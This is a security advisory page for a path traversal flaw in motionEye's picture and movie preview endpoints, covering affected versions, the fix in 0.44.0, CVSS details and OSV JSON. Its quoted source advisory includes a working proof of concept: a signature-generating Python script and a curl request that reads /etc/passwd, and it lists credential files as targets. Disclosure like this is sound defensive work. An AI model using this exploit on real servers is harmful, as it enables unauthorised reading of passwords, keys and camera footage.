CVE-2026-31978: Motioneye Path Traversal Vulnerability

MODERATE
Advisory Identifier: GHSA-g9fx-5r4h-pcw3
CVSS 6.5
CWE-284 CWE-22
Published
Advisory Summary

CVE-2026-31978 is a MODERATE (CVSS 6.5) path traversal vulnerability (CWE-284: Improper Access Control) affecting Motioneye libraries in the PyPI ecosystem. The issue involves motioneye has an arbitrary file read via path traversal in picture/movie preview endpoint. Remediation is available by upgrading affected packages to version 0.44.0.

CVE-2026-31978 at a Glance

CVE Identifier CVE-2026-31978
GHSA Identifier GHSA-g9fx-5r4h-pcw3
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-284: Improper Access Control
Affected Product Motioneye
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-31978

To remediate this vulnerability, upgrade all affected Motioneye dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

motioneye fixed: 0.44.0
pip install motioneye>=0.44.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show motioneye

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-31978, inspect your installed packages using pip:

pip show motioneye

Analyze the terminal output to locate any version of Motioneye in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.44.0), your application is affected.

Note: The pip show motioneye command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In Motioneye, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary motionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user. ### Details The `get_media_content()` function properly validates the path: ```python # mediafiles.py ~line 506 — SAFE def get_media_content(camera_config, path, media_type): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) if '..' in path: # <-- PATH TRAVERSAL CHECK PRESENT return None ... ``` But `get_media_preview()` does NOT: ```python # mediafiles.py ~line 910 — VULNERABLE def get_media_preview(camera_config, path, media_type, ...): target_dir = camera_config['target_dir'] full_path = os.path.join(target_dir, path) # <-- NO '..' CHECK ... ``` Similarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern. The exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`. ### PoC **Step 1:** Authenticate as any user (normal or admin). **Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1("GET:<path>?_username=<user>::<password>")`. With the default empty admin password: ```python #!/usr/bin/env python3 """Signature generator for motionEye path traversal PoC""" import hashlib, re, urllib.parse _SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\[\]\":, -]', re.DOTALL) def compute_signature(method, path, key=''): parts = list(urllib.parse.urlsplit(path)) query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature'] query.sort(key=lambda q: q[0]) query = [(n, urllib.parse.quote(v, safe="!'()*~")) for (n, v) in query] query = '&'.join([(q[0] + '=' + q[1]) for q in query]) parts[0] = parts[1] = '' parts[3] = query path = urllib.parse.urlunsplit(parts) path = _SIGNATURE_REGEX.sub('-', path) key = _SIGNATURE_REGEX.sub('-', key) return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower() path = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin' sig = compute_signature('GET', path) print(f'Signature: {sig}') print(f'curl --path-as-is -s "http://TARGET:8765/{path}&_signature={sig}"') ``` **Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending): ```bash # With default empty admin password, the signature is static: curl --path-as-is -s "http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c" ``` **Step 4:** The server returns the contents of `/etc/passwd`. **Verified output:** <img width="1743" height="410" alt="etc_passwd" src="https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64" /> > **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter. ### Impact An authenticated user (normal or admin) can read arbitrary files from the server, including: - `/etc/passwd` — user enumeration - `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext - `/etc/shadow` — password hashes (if running as root, which is default in Docker) - SSH keys, environment variables, and other sensitive configuration files - Surveillance footage from other cameras

CVE-2026-31978 Affected Motioneye Versions

1 component(s)
Fixed Versions:
0.44.0
Product / Package Ecosystem Affected Versions Fixed Version
motioneye
PyPI
< 0.44.0
0.44.0

References

Frequently Asked Questions

What is CVE-2026-31978?
CVE-2026-31978 is a security vulnerability in Motioneye involving motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint under CWE-284: Improper Access Control.
Which Motioneye versions are affected?
Affected versions include releases prior to 0.44.0 across affected packages: motioneye.
What version fixes CVE-2026-31978?
Upgrading to 0.44.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is motioneye affected?
Yes, motioneye is affected in releases prior to 0.44.0. Upgrade your dependency to 0.44.0 or later.
What is the CVSS score of CVE-2026-31978?
CVE-2026-31978 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-31978?
CVE-2026-31978 is classified under CWE-284: Improper Access Control (The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.).
How can I check PyPI dependencies for CVE-2026-31978?
Run the dependency tree command: 'pip show motioneye'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g9fx-5r4h-pcw3",
  "modified" : "2026-06-22T17:10:38Z",
  "published" : "2026-06-22T17:10:38Z",
  "aliases" : [ "CVE-2026-31978" ],
  "summary" : "motionEye has an Arbitrary File Read via Path Traversal in Picture/Movie Preview Endpoint",
  "details" : "### Summary\n\nmotionEye v0.43.1 (latest stable) is vulnerable to path traversal in the picture and movie API endpoints, like `/picture/{id}/preview/{filename}`. Neither the API handlers, nor the `mediafiles.py` functions like `get_media_preview()` check for `..` sequences in the filename parameter, except `get_media_content()` which does. This allows an authenticated user with normal (non-admin) privileges to read arbitrary files from the filesystem as the motionEye process user.\n\n### Details\n\nThe `get_media_content()` function properly validates the path:\n\n```python\n# mediafiles.py ~line 506 — SAFE\ndef get_media_content(camera_config, path, media_type):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n\n    if '..' in path:        # <-- PATH TRAVERSAL CHECK PRESENT\n        return None\n    ...\n```\n\nBut `get_media_preview()` does NOT:\n\n```python\n# mediafiles.py ~line 910 — VULNERABLE\ndef get_media_preview(camera_config, path, media_type, ...):\n    target_dir = camera_config['target_dir']\n    full_path = os.path.join(target_dir, path)\n    # <-- NO '..' CHECK\n    ...\n```\n\nSimilarly, `del_media_content()` at line ~865 is also missing the check. This is a classic inconsistent fix pattern.\n\nThe exploit requires `%2F`-encoded slashes (`..%2F..%2F`) which Tornado's URL router does NOT normalize — it passes the raw `../` through to `os.path.join()`.\n\n### PoC\n\n**Step 1:** Authenticate as any user (normal or admin).\n\n**Step 2:** Compute the request signature. motionEye uses HMAC-style signatures for API authentication. The signature is `SHA1(\"GET:<path>?_username=<user>::<password>\")`. With the default empty admin password:\n\n```python\n#!/usr/bin/env python3\n\"\"\"Signature generator for motionEye path traversal PoC\"\"\"\nimport hashlib, re, urllib.parse\n\n_SIGNATURE_REGEX = re.compile(r'[^A-Za-z0-9/?_.=&{}\\[\\]\\\":, -]', re.DOTALL)\n\ndef compute_signature(method, path, key=''):\n    parts = list(urllib.parse.urlsplit(path))\n    query = [q for q in urllib.parse.parse_qsl(parts[3], keep_blank_values=True) if q[0] != '_signature']\n    query.sort(key=lambda q: q[0])\n    query = [(n, urllib.parse.quote(v, safe=\"!'()*~\")) for (n, v) in query]\n    query = '&'.join([(q[0] + '=' + q[1]) for q in query])\n    parts[0] = parts[1] = ''\n    parts[3] = query\n    path = urllib.parse.urlunsplit(parts)\n    path = _SIGNATURE_REGEX.sub('-', path)\n    key = _SIGNATURE_REGEX.sub('-', key)\n    return hashlib.sha1(('{}:{}:{}:{}'.format(method, path, '', key)).encode('utf-8')).hexdigest().lower()\n\npath = '/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin'\nsig = compute_signature('GET', path)\nprint(f'Signature: {sig}')\nprint(f'curl --path-as-is -s \"http://TARGET:8765/{path}&_signature={sig}\"')\n```\n\n**Step 3:** Send the request using `curl --path-as-is` (the `--path-as-is` flag is **required** — without it, curl normalizes `..%2F` and collapses the traversal before sending):\n\n```bash\n# With default empty admin password, the signature is static:\ncurl --path-as-is -s \"http://localhost:8766/picture/1/preview/..%2F..%2F..%2F..%2Fetc%2Fpasswd?_username=admin&_signature=8b387100a519c617bdd66fe629d14b05e09c6e0c\"\n```\n\n**Step 4:** The server returns the contents of `/etc/passwd`.\n\n**Verified output:**\n\n<img width=\"1743\" height=\"410\" alt=\"etc_passwd\" src=\"https://github.com/user-attachments/assets/30ec85f7-4fe7-4d3b-ae23-1d02c3ecad64\" />\n\n> **Note on the signature value:** The signature `8b387100a519c617bdd66fe629d14b05e09c6e0c` is valid for the default empty admin password. If the admin password has been changed, regenerate the signature using the Python script above with the correct password passed as the `key` parameter.\n\n### Impact\n\nAn authenticated user (normal or admin) can read arbitrary files from the server, including:\n\n- `/etc/passwd` — user enumeration\n- `/etc/motioneye/motion.conf` — admin password hash, surveillance password in plaintext\n- `/etc/shadow` — password hashes (if running as root, which is default in Docker)\n- SSH keys, environment variables, and other sensitive configuration files\n- Surveillance footage from other cameras",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "motioneye"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.44.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/motioneye-project/motioneye/security/advisories/GHSA-g9fx-5r4h-pcw3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/motioneye-project/motioneye"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-284" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-22T17:10:38Z",
    "nvd_published_at" : null
  }
}